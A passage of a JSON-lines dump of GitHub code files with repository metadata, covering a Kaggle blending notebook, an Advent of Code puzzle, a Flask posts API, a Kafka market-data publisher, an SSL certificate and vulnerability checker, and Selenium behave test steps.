"pymysql.connect", "line_number": 9, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 36, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 99, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 105, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 105, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 118, "usage_type": "call"}, {"api_name": "time.time", "line_number": 125, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 137, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 157, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 157, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 180, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 183, "usage_type": "call"}]}
{"seq_id": "71049320571", "text": "import numpy as np\nimport pandas as pd\nimport warnings\nfrom sklearn.metrics import roc_auc_score\nfrom bayes_opt import BayesianOptimization\ndf_train = pd.read_csv('../input/hcdr-5-prediction-for-train-set/5_predictions.csv', index_col = 'SK_ID_CURR')\ndf_train.head()\nfor c in df_train.columns.drop('TARGET'):\n    print(c, roc_auc_score(df_train['TARGET'], df_train[c]))\ndef ROC_evaluate(**params):\n    warnings.simplefilter('ignore')\n    \n    s = sum(params.values())\n    for p in params:\n        params[p] = params[p] / s\n    \n    test_pred_proba = pd.Series(np.zeros(df_train.shape[0]), index = df_train.index)\n    \n    feats = [f for f in df_train.columns if f not in ['TARGET','SK_ID_CURR', 'index']]\n    \n    for f in feats:\n        test_pred_proba += df_train[f] * params[f]\n    \n    return roc_auc_score(df_train['TARGET'], test_pred_proba)\nparams = {}\nfor c in df_train.columns.drop('TARGET'):\n    params[c] = (0, 1)\n    \nbo = BayesianOptimization(ROC_evaluate, params)\nbo.maximize(init_points = 50, n_iter = 10)\nbest_params = bo.res['max']['max_params']\nprint(bo.res['max']['max_val'])\nbest_params\nbest_normalized_params = {}\n\ns = sum(best_params.values())\nfor p in best_params:\n    best_normalized_params[p] = best_params[p] / s\n\nbest_normalized_params\nprediction_train = pd.Series(np.zeros(df_train.shape[0]), index = df_train.index)\n    \nfeats = [f for f in df_train.columns if f not in ['TARGET','SK_ID_CURR', 'index']]\n    \nfor f in feats:\n    prediction_train += df_train[f] * best_normalized_params[f]\n    \nroc_auc_score(df_train['TARGET'], prediction_train)", "repo_name": "aorursy/new-nb-1", "sub_path": "aantonova_bayesian-optimization-for-blending-coefs.py", "file_name": "aantonova_bayesian-optimization-for-blending-coefs.py", "file_ext": "py", "file_size_in_byte": 1574, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 9, "usage_type": "call"}, {"api_name": "warnings.simplefilter", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 24, "usage_type": "call"}, {"api_name": "bayes_opt.BayesianOptimization", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "16522775601", "text": "import collections as co\nnelves = 3014387\ncircle = co.deque(range(1, nelves+1))\n\nwhile len(circle) > 1:\n  tp = circle[0]\n  lc = len(circle)\n  if lc%2 == 0:\n    pg = (lc/2)\n    circle.rotate(int(-pg)) #brings the elf giving presents to position 0 of the deque\n    circle.popleft() #removes the elf with zero presents from the deque\n    circle.rotate(int(pg)) #returns the elf whose turn it is to position 0 in the deque\n  elif lc%2 != 0:\n    pg = ((lc/2)+0.5) #how far is present giver from the elf whose turn it is\n    circle.rotate(int(-pg)) #brings the elf giving presents to position 0 of the deque\n    circle.popleft() #removes the elf with zero presents from the deque\n    circle.rotate(int(pg)) #returns the elf whose turn it is to position 0 in the deque\n  \n  circle.rotate(-1) #moves ot the next elf in turn order; should not change the outcome when the game is over\n  #print(lc) #debug\nprint(circle[0])\n", "repo_name": "drdaley/AoC2016", "sub_path": "d19_p2.py", "file_name": "d19_p2.py", "file_ext": "py", "file_size_in_byte": 912, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "27818647737", "text": "from flask import Blueprint, jsonify, abort, request\nfrom flask_restful import Api, Resource\nfrom flask_jwt_extended import (\n    jwt_required, get_jwt_identity\n)\n\nfrom app.model.post import *\nfrom app.api import data_required\n\napi = Api(Blueprint(__name__, __name__))\napi.prefix = '/post'\n\n\n@api.resource('/<category>')\nclass ShowAllPost(Resource):\n    @jwt_required\n    def get(self, category):\n        all_post = PostModel.query.filter_by(category=category).all()\n        db.session.close()\n\n        return jsonify([{\n            'id': post.id,\n            'title': post.title\n        } for post in all_post])\n\n\n@api.resource('/write')\nclass WritePost(Resource):\n    @jwt_required\n    @data_required(['title', 'content', 'category'])\n    def post(self):\n        title = request.json['title']\n        content = request.json['content']\n        category = request.json['category']\n        name = get_jwt_identity()\n\n        post = PostModel(\n            title=title,\n            content=content,\n            category=category,\n            name=name\n        )\n\n        db.session.add(post)\n        db.session.commit()\n        db.session.close()\n\n        return \"\", 201\n\n\n@api.resource('/<category>/<int:idx>')\nclass OnePost(Resource):\n    @jwt_required\n    def get(self, category, idx):\n        post = PostModel.query.filter_by(category=category, id=idx).first()\n        db.session.close()\n\n        if not post:\n            abort(406)\n\n        return jsonify([{\n            'id': post.id,\n            'title': post.title,\n            'content': post.content,\n            'name': post.name\n        }])\n\n    @jwt_required\n    @data_required(['title', 'content'])\n    def put(self, category, idx):\n        title = request.json['title']\n        content = request.json['content']\n\n        user = get_jwt_identity()\n        post = PostModel.query.filter_by(category=category, id=idx).first()\n\n        if not post:\n            abort(406)\n\n        if user != post.name:\n            abort(403)\n\n        post.title = title\n        post.content = content\n\n        db.session.commit()\n        db.session.close()\n\n        return \"\", 201\n\n    @jwt_required\n    def delete(self, category, idx):\n        user = get_jwt_identity()\n        post = PostModel.query.filter_by(category=category, id=idx).first()\n\n        if not post:\n            abort(406)\n\n        if user != post.name:\n            abort(403)\n\n        db.session.delete(post)\n        db.session.commit()\n        db.session.close()\n\n        return \"\", 200\n", "repo_name": "infodsm/deprecated-ies-server", "sub_path": "Server/app/api/post/post.py", "file_name": "post.py", "file_ext": "py", "file_size_in_byte": 2500, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask_restful.Api", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.Blueprint", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 16, "usage_type": "name"}, {"api_name": "flask_restful.Resource", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 35, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 29, "usage_type": "name"}, {"api_name": "app.api.data_required", "line_number": 30, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 61, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 81, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 68, "usage_type": "name"}, {"api_name": "app.api.data_required", "line_number": 69, "usage_type": "call"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 100, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 91, "usage_type": "name"}]}
{"seq_id": "12012705461", "text": "from datetime import datetime, timedelta\nimport pandas as pd\nimport numpy as np\nfrom kafka import KafkaProducer\nimport msgpack\nimport json\nimport time\nimport random\nimport argparse\nimport sys\n\n\ndef stringify(x):\n    return x.decode(\"utf-8\").rstrip('\\0') if isinstance(x, bytes) else x\n\n\nclass MPFileReader(object):\n    def __init__(self, file):\n        self.unpacker = msgpack.Unpacker(file, raw=False)\n        self.header = self.unpacker.unpack()\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        try:\n            item = {key: stringify(self.unpacker.unpack()) for key in self.header}\n        except msgpack.exceptions.OutOfData as e:\n            raise StopIteration\n        return (item[\"receive\"], json.dumps(item).encode('utf-8'))\n\n\nclass KafkaSender(object):\n    def __init__(self, producer, topic, iter):\n        self.iter = iter\n        self.data = None\n        self.producer = producer\n        self.topic = topic\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        if self.data is not None:\n            producer.send(self.topic, value=self.data[1])\n            producer.flush()\n\n        self.data = next(self.iter)\n        return self.data[0]\n\n\nclass Sequencer(object):\n    def __init__(self, *iters):\n        self.iters = iters\n        self.values = np.array([next(it) for it in self.iters])\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        try:\n            i = np.nanargmin(self.values)\n        except ValueError as e:\n            raise StopIteration\n        val = self.values[i]\n        self.values[i] = next(self.iters[i])\n        return val\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--bootstrap_servers\",\n        nargs='*',\n        help=\"‘host[:port]’ string (or list of ‘host[:port]’ strings) that the producer should contact to bootstrap initial cluster metadata. This does not have to be the full node list. It just needs to have at least one broker that will respond to a Metadata API Request. Default port is 9092. If no servers are specified, will default to localhost:9092.\")\n    args = parser.parse_args()\n\n    if args.bootstrap_servers:\n        producer = KafkaProducer(bootstrap_servers=args.bootstrap_servers)\n    else:\n        producer = KafkaProducer()\n\n    with open(\"../test/data/sip_quotes_20171018.mp\", \"rb\") as file1:\n        with open(\"../test/data/sip_trades_20171018.mp\", \"rb\") as file2:\n            sender1 = KafkaSender(producer, \"quotes\", MPFileReader(file1))\n            sender2 = KafkaSender(producer, \"trades\", MPFileReader(file2))\n            for line in Sequencer(sender1, sender2):\n                time.sleep(0.01 * np.random.poisson(1.0))\n", "repo_name": "featuremine/extractor", "sub_path": "tools/kafka_pub.py", "file_name": "kafka_pub.py", "file_ext": "py", "file_size_in_byte": 2734, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "msgpack.Unpacker", "line_number": 19, "usage_type": "call"}, {"api_name": "msgpack.exceptions", "line_number": 28, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.nanargmin", "line_number": 62, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 71, "usage_type": "call"}, {"api_name": "kafka.KafkaProducer", "line_number": 79, "usage_type": "call"}, {"api_name": "kafka.KafkaProducer", "line_number": 81, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random.poisson", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "attribute"}]}
{"seq_id": "7985224010", "text": "#!/usr/bin/env python3\nimport socket\nimport sys\nimport json\nfrom datetime import datetime\nfrom ssl import PROTOCOL_TLSv1\nfrom time import sleep\nfrom ocspchecker import ocspchecker\n\nfrom conf_reader import ReadConfig\nfrom crl_check import check_crl, CRLStatus\nfrom db import get_connection, insert_data, close_connection\n\ntry:\n    from OpenSSL import SSL, crypto\n    from json2html import *\nexcept ImportError:\n    print('Please install required modules: pip install -r requirements.txt')\n    sys.exit(1)\n\n\nclass Clr:\n    \"\"\"Text colors.\"\"\"\n\n    RST = '\\033[39m'\n    RED = '\\033[31m'\n    GREEN = '\\033[32m'\n    YELLOW = '\\033[33m'\n\n\nprint('ssl_analyzer_start')\n\n\nclass VerifyCallback:\n    def __init__(self):\n        self.connection = None\n        self.err_no = 0\n        self.depth = None\n        self.result = None\n\n    def callback(self, connection, cert, err_no, depth, result):\n        self.connection = connection\n        self.err_no = err_no\n        self.depth = depth\n        self.result = result\n        return result\n\n\nclass SSLAnalyzer:\n    total_valid = 0\n    total_expired = 0\n    total_failed = 0\n    total_warning = 0\n\n    def __init__(self):\n        self.cafile = \"./data/cacert.pem\"\n        self.verify = VerifyCallback()\n        self.table_keys = ['host', 'open443', 'error', 'ssl_error', 'cert_ver', 'cert_alg', 'issuer_c', 'issuer_o',\n                           'pub_key_type', 'pub_key_bits', 'cert_exp', 'valid_from', 'valid_till', 'validity_days',\n                           'days_left', 'ocsp_status', 'ocsp_error', 'crl_status', 'crl_reason']\n        # db conn\n        self.db_connection = get_connection()\n\n    def get_cert(self, host, port):\n        \"\"\"Connection to the host.\"\"\"\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        ssl_context = SSL.Context(PROTOCOL_TLSv1)\n        ssl_context.load_verify_locations(self.cafile)\n        ssl_context.set_verify(SSL.VERIFY_PEER, self.verify.callback)\n\n        sock.connect((host, int(port)))\n        ssl_connection = SSL.Connection(ssl_context, sock)\n        ssl_connection.set_tlsext_host_name(host.encode())\n        ssl_connection.set_connect_state()\n        ssl_connection.do_handshake()\n        cert = ssl_connection.get_peer_certificate()\n\n        sock.close()\n        return cert\n\n    def analyze_ssl(self, host, context):\n        \"\"\"Analyze the security of the SSL certificate.\"\"\"\n        from urllib.request import urlopen\n\n        api_url = 'https://api.ssllabs.com/api/v3/'\n        while True:\n            main_request = json.loads(urlopen(api_url + 'analyze?host={}'.format(host)).read().decode('utf-8'))\n            if main_request['status'] in ('DNS', 'IN_PROGRESS'):\n                sleep(5)\n                continue\n            elif main_request['status'] == 'READY':\n                break\n\n        endpoint_data = json.loads(urlopen(api_url + 'getEndpointData?host={}&s={}'.format(\n            host, main_request['endpoints'][0]['ipAddress'])).read().decode('utf-8'))\n\n        # if the certificate is invalid\n        if endpoint_data['statusMessage'] == 'Certificate not valid for domain name':\n            return context\n\n        context[host]['grade'] = main_request['endpoints'][0]['grade']\n        context[host]['poodle_vuln'] = endpoint_data['details']['poodle']\n        context[host]['heartbleed_vuln'] = endpoint_data['details']['heartbleed']\n        context[host]['heartbeat_vuln'] = endpoint_data['details']['heartbeat']\n        context[host]['freak_vuln'] = endpoint_data['details']['freak']\n        context[host]['logjam_vuln'] = endpoint_data['details']['logjam']\n        context[host]['drownVulnerable'] = endpoint_data['details']['drownVulnerable']\n\n        return context\n\n    def get_cert_sans(self, x509cert):\n        \"\"\"\n        Get Subject Alt Names from Certificate. Shameless taken from stack overflow:\n        https://stackoverflow.com/users/4547691/anatolii-chmykhalo\n        \"\"\"\n        san = ''\n        ext_count = x509cert.get_extension_count()\n        for i in range(0, ext_count):\n            ext = x509cert.get_extension(i)\n            if 'subjectAltName' in str(ext.get_short_name()):\n                san = ext.__str__()\n        # replace commas to not break csv output\n        san = san.replace(',', ';')\n        return san\n\n    def get_cert_info(self, host, context, cert):\n        \"\"\"Get all the information about cert and create a JSON file.\"\"\"\n        context['cert_ver'] = cert.get_version()  # Version Number v1/v2/v3\n        context['cert_sn'] = str(cert.get_serial_number())  # Serial Number\n        context['cert_alg'] = cert.get_signature_algorithm().decode()  # Signature Algorithm\n        # Issuer Name C=country name;O=OrganizationName;CN=common name\n        cert_issuer = cert.get_issuer()\n        context['issuer_c'] = cert_issuer.countryName\n        context['issuer_o'] = cert_issuer.organizationName\n        context['issuer_ou'] = cert_issuer.organizationalUnitName\n        context['issuer_cn'] = cert_issuer.commonName\n        # Subject Name\n        cert_subject = cert.get_subject()\n        context['issued_to'] = cert_subject.CN\n        context['issued_o'] = cert_subject.O\n        context['cert_sha1'] = cert.digest('sha1').decode()\n        # context['cert_sans'] = self.get_cert_sans(cert)  # X509v3 Subject Alternative Name in Extensions\n        pub = cert.get_pubkey()\n        context['pub_key_type'] = pub.type()\n        context['pub_key_bits'] = pub.bits()\n\n        context['cert_exp'] = cert.has_expired()\n        context['cert_valid'] = False if cert.has_expired() else True\n        # Valid period\n        valid_from = datetime.strptime(cert.get_notBefore().decode('ascii'), '%Y%m%d%H%M%SZ')\n        context['valid_from'] = valid_from.strftime('%Y-%m-%d')\n        valid_till = datetime.strptime(cert.get_notAfter().decode('ascii'), '%Y%m%d%H%M%SZ')\n        context['valid_till'] = valid_till.strftime('%Y-%m-%d')\n\n        # Validity days\n        context['validity_days'] = (valid_till - valid_from).days\n\n        # Validity in days from now\n        now = datetime.now()\n        context['days_left'] = (valid_till - now).days\n\n        # Valid days left\n        context['valid_days_to_expire'] = (datetime.strptime(context['valid_till'], '%Y-%m-%d') - datetime.now()).days\n        if cert.has_expired():\n            self.total_expired += 1\n        else:\n            self.total_valid += 1\n        # If the certificate has less than 15 days validity\n        if context['valid_days_to_expire'] <= 15:\n            self.total_warning += 1\n\n        status = ocspchecker.get_ocsp_status(host)\n        status_len = len(status)\n        if status_len == 2:\n            context['ocsp_error'] = status[1]\n        elif status_len == 3:\n            context['ocsp_status'] = status[2].split(\": \")[1]\n\n        # since crl check is time-consuming, we just check it when ocsp fail or ocsp get revoked status\n        crl_status = check_crl(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))\n        context['crl_status'] = str(crl_status[0])\n        if crl_status[0] is not CRLStatus.GOOD:\n            tmp_str = crl_status[1]\n            context['crl_reason'] = tmp_str[:250] # limit the string length to avoid database error\n\n        return context\n\n    def print_status(self, context, host):\n        \"\"\"Print all the useful info about host.\"\"\"\n        print('\\t{}[+]{} {}\\n\\t{}'.format(Clr.GREEN, Clr.RST, host, '-' * (len(host) + 5)))\n        for key, value in context[host].items():\n            print('\\t\\t', key, ': ', value)\n        print('\\n')\n\n    def get_status_list(self, host, context):\n        \"\"\"\n        obtain detail ssl info\n        :param host: host to check\n        :param context: raw res\n        :return: list\n        \"\"\"\n        ret = []\n        for key in self.table_keys:\n            ret.append(context[host][key])\n        return ret\n\n    def show_result(self, args):\n        \"\"\"Get the context.\"\"\"\n        context = {}\n        hosts = args['hosts']\n\n        for host in hosts:\n            sub_context = dict.fromkeys(self.table_keys, 'null')\n            sub_context['host'] = host\n            try:\n                # check if 443 port open\n                port = 443\n                is_open, update_host = self.check_port_open(host, port)\n                if not is_open:\n                    sub_context['open443'] = False  # it means the host did not open 443 port\n                else:\n                    sub_context['open443'] = True\n                    if update_host:\n                        host = 'www.' + host\n                        sub_context['host'] = host\n                # even port not open, still try to get cert\n                cert = self.get_cert(host, port)\n                self.get_cert_info(host, sub_context, cert)\n            # except SSL.SysCallError:\n            #     sub_context['error'] = 'Failed: Misconfiguration SSL/TLS'\n            except Exception as error:\n                sub_context['error'] = str(error)\n                print('\\t{}[-]{} {:<20s} Failed: {}\\n'.format(Clr.RED, Clr.RST, host, error))\n            except KeyboardInterrupt:\n                print('{}Canceling script...{}\\n'.format(Clr.YELLOW, Clr.RST))\n                sys.exit(1)\n\n            sub_context['ssl_error'] = str(self.verify.err_no)\n            context[host] = sub_context\n            self.print_status(context, host)\n\n            # insert data to database\n            insert_list = self.get_status_list(host, context)\n            insert_data(self.db_connection, insert_list)\n\n        close_connection(self.db_connection)\n\n    def check_port_open(self, host, port):\n        is_open = True\n        is_success = True\n        should_update_host = False\n        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n            try:\n                conn = sock.connect_ex((host, port))\n                if conn != 0:\n                    is_success = False\n            except Exception as err:\n                is_success = False\n                pass\n\n            if not is_success:\n                try:\n                    host = 'www.' + host\n                    conn = sock.connect_ex((host, port))\n                    if conn != 0:\n                        is_open = False\n                    else:\n                        should_update_host = True\n                except Exception as err:\n                    raise err\n        return is_open, should_update_host\n\n\ndef csv_reader(f_name, thread_num=1, total_num=120000):\n    \"\"\"\n    read csv\n    :param thread_num: multi-thread numbers\n    :param total_num: nums want to analyze\n    :param f_name: file name\n    :return: domain list [[...], [...], [...], ...]\n    \"\"\"\n    import csv\n    print('start to read csv.')\n    ret = []\n    if total_num == 0:\n        total_num = len(open(f_name).readlines())\n    print('total number of hosts to analyze: ', total_num)\n    sites_count = total_num / thread_num\n    left = total_num % thread_num\n    f = csv.reader(open(f_name, 'r'))\n    for no in range(thread_num):\n        temp = []\n        if no == 0:\n            for j in range(int(left)):\n                line = next(f)\n                temp.append(line[1])\n        for i in range(int(sites_count)):\n            line = next(f)\n            temp.append(line[1])\n        ret.append(temp)\n    return ret\n\n\ndef checker_with_multi_thread(hosts):\n    \"\"\"\n    multi thread analyze\n    :param hosts: [[]]\n    :return:\n    \"\"\"\n    import threading\n    for item in hosts:\n        checker = SSLAnalyzer()\n        t = threading.Thread(target=checker.show_result, args=({'hosts': item},))\n        t.setDaemon(False)\n        t.start()\n\n\ndef checker_without_multi_thread(hosts):\n    \"\"\"\n    single thread analyze\n    test: hosts': ['hexun.com', 'expired.badssl.com', 'revoked.badssl.com', 'google.com']\n    :param hosts: [[]]\n    :return:\n    \"\"\"\n    checker = SSLAnalyzer()\n    checker.show_result({'hosts': hosts[0]})\n\n\nif __name__ == '__main__':\n    config = ReadConfig()\n    use_threads = config.get_multi_thread_opt()\n    host_list = csv_reader(config.get_csv_path(),\n                           thread_num=config.get_thread_num(),\n                           total_num=config.get_analyze_nums())\n    if use_threads:\n        checker_with_multi_thread(host_list)\n    else:\n        checker_without_multi_thread(host_list)\n", "repo_name": "vincentbin/ssl_analyzer", "sub_path": "ssl_analyzer.py", "file_name": "ssl_analyzer.py", "file_ext": "py", "file_size_in_byte": 12241, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.exit", "line_number": 19, "usage_type": "call"}, {"api_name": "db.get_connection", "line_number": 62, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 66, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 66, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 66, "usage_type": "attribute"}, {"api_name": "OpenSSL.SSL.Context", "line_number": 67, "usage_type": "call"}, {"api_name": "ssl.PROTOCOL_TLSv1", "line_number": 67, "usage_type": "argument"}, {"api_name": "OpenSSL.SSL", "line_number": 67, "usage_type": "name"}, {"api_name": "OpenSSL.SSL.VERIFY_PEER", "line_number": 69, "usage_type": "attribute"}, {"api_name": "OpenSSL.SSL", "line_number": 69, "usage_type": "name"}, {"api_name": "OpenSSL.SSL.Connection", "line_number": 72, "usage_type": "call"}, {"api_name": "OpenSSL.SSL", "line_number": 72, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 87, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 87, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 89, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 94, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 150, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 150, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 152, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 159, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 159, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 163, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 163, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 163, "usage_type": "call"}, {"api_name": "ocspchecker.ocspchecker.get_ocsp_status", "line_number": 172, "usage_type": "call"}, {"api_name": "ocspchecker.ocspchecker", "line_number": 172, "usage_type": "name"}, {"api_name": "crl_check.check_crl", "line_number": 180, "usage_type": "call"}, {"api_name": "OpenSSL.crypto.dump_certificate", "line_number": 180, "usage_type": "call"}, {"api_name": "OpenSSL.crypto", "line_number": 180, "usage_type": "name"}, {"api_name": "OpenSSL.crypto.FILETYPE_PEM", "line_number": 180, "usage_type": "attribute"}, {"api_name": "crl_check.CRLStatus.GOOD", "line_number": 182, "usage_type": "attribute"}, {"api_name": "crl_check.CRLStatus", "line_number": 182, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 236, "usage_type": "call"}, {"api_name": "db.insert_data", "line_number": 244, "usage_type": "call"}, {"api_name": "db.close_connection", "line_number": 246, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 252, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 252, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 252, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 290, "usage_type": "call"}, {"api_name": "{'urlopen': 'urllib.request.urlopen'}", "line_number": 312, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 313, "usage_type": "call"}, {"api_name": "{'urlopen': 'urllib.request.urlopen'}", "line_number": 325, "usage_type": "call"}, {"api_name": "conf_reader.ReadConfig", "line_number": 330, "usage_type": "call"}]}
{"seq_id": "12650208491", "text": "from behave_webdriver.steps import *\n# use_step_matcher('re')\nfrom nose.tools import assert_equal, assert_not_equal\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n\n@step('I maximize the window')\ndef step_impl(context):\n    context.behave_driver.max_window()\n\n\n@step(\"I want to refresh the window\")\ndef step_impl(context):\n    context.behave_driver.F5()\n\n\n@step(\"I want to close the window\")\ndef step_impl(context):\n    context.behave_driver.close()\n\n\n@then('I expect that executing the step \"{step_text}\" raises an exception')\ndef test_step_raises_exception(context, step_text):\n    try:\n        context.execute_steps(step_text)\n        time.sleep(4)\n    except Exception as e:\n        print(e)\n    else:\n        raise AssertionError('Step did not raise exception')\n\n\n@step('I select the {nth} option of dropdown_item')\ndef step_impl(context, nth):\n    # ul = context.behave_driver.get_elements(element)[int(index)]\n    index = int(''.join(char for char in nth if char in string.digits))\n    li = context.ul.find_elements_by_tag_name('li')\n    print(\"index---------------------------->\", index)\n    print(\"li[index].text------------------->\", li[index].text)\n    time.sleep(2)\n    li[index].click()\n\n\n@step('I select the {nth} option of elements \"{elements}\" and set value \"{value}\"')\ndef step_impl(context, nth, elements, value):\n    index = int(''.join(char for char in nth if char in string.digits))\n    elem = context.behave_driver.get_elements(elements)[index]\n    elem.clear()\n    elem.send_keys(value)\n\n\n@step('I select the {nth} option of elements \"{elements}\" and click')\ndef step_impl(context, nth, elements):\n    index = int(''.join(char for char in nth if char in string.digits))\n    elem = context.behave_driver.get_elements(elements)[index]\n    print(\"elem .text-------------->\", elem .text)\n    time.sleep(1)\n    # elem.click()\n    try:\n        context.behave_driver.element_left_click(elem)\n    except:\n        elem.click()\n\n\n@step('I scroll to the bottom')\ndef step_impl(context):\n    # todo：将滚动条移动到页面的底部，该方法无效\n    js = \"var q=document.documentElement.scrollTop=100000\"\n    context.behave_driver.execute_script(js)\n    time.sleep(3)\n\n\n@step('I scroll to the top')\ndef step_impl(context):\n    # todo：将滚动条移动到页面的顶部，该方法无效\n    js = \"var q=document.documentElement.scrollTop=0\"\n    context.behave_driver.execute_script(js)\n    time.sleep(3)\n\n\n@step('I click on the link element \"{link_target}\"')\ndef step_impl(context, link_target):\n    length = len(context.behave_driver.find_elements_by_tag_name(\"a\"))\n    print(\"link_target_length------------->\", length)\n    for i in range(0, length):\n        links = context.behave_driver.find_elements_by_tag_name(\"a\")\n        link = links[i]\n        if link_target in link.get_attribute(\"href\"):\n            print(\"href------------->\", link.get_attribute(\"href\"))\n            time.sleep(3)\n            link.click()\n            time.sleep(3)\n            break\n\n\n@step('I click the {nth} option of elements \"{checkbox_location}\" and the \"{attribute}\" will be changed')\ndef step_impl(context, nth, checkbox_location, attribute):\n    index = int(''.join(char for char in nth if char in string.digits))\n    value1 = context.behave_driver.get_elements(checkbox_location)[index].get_attribute(attribute)\n    context.behave_driver.get_elements(checkbox_location)[index].click()\n    time.sleep(1)\n    value2 = context.behave_driver.get_elements(checkbox_location)[index].get_attribute(attribute)\n    print(\"v1------------>\", value1)\n    print(\"v2------------>\", value2)\n    assert_not_equal(value2, value1)\n\n\n@step('I click on the element \"{switch_location}\" and click the {nth} option of sure button \"{sure_button_location}\" and the \"{attribute}\" will be changed')\ndef step_impl(context, switch_location, nth, sure_button_location, attribute):\n    value1 = context.behave_driver.get_element(switch_location).get_attribute(attribute)\n    time.sleep(2)\n    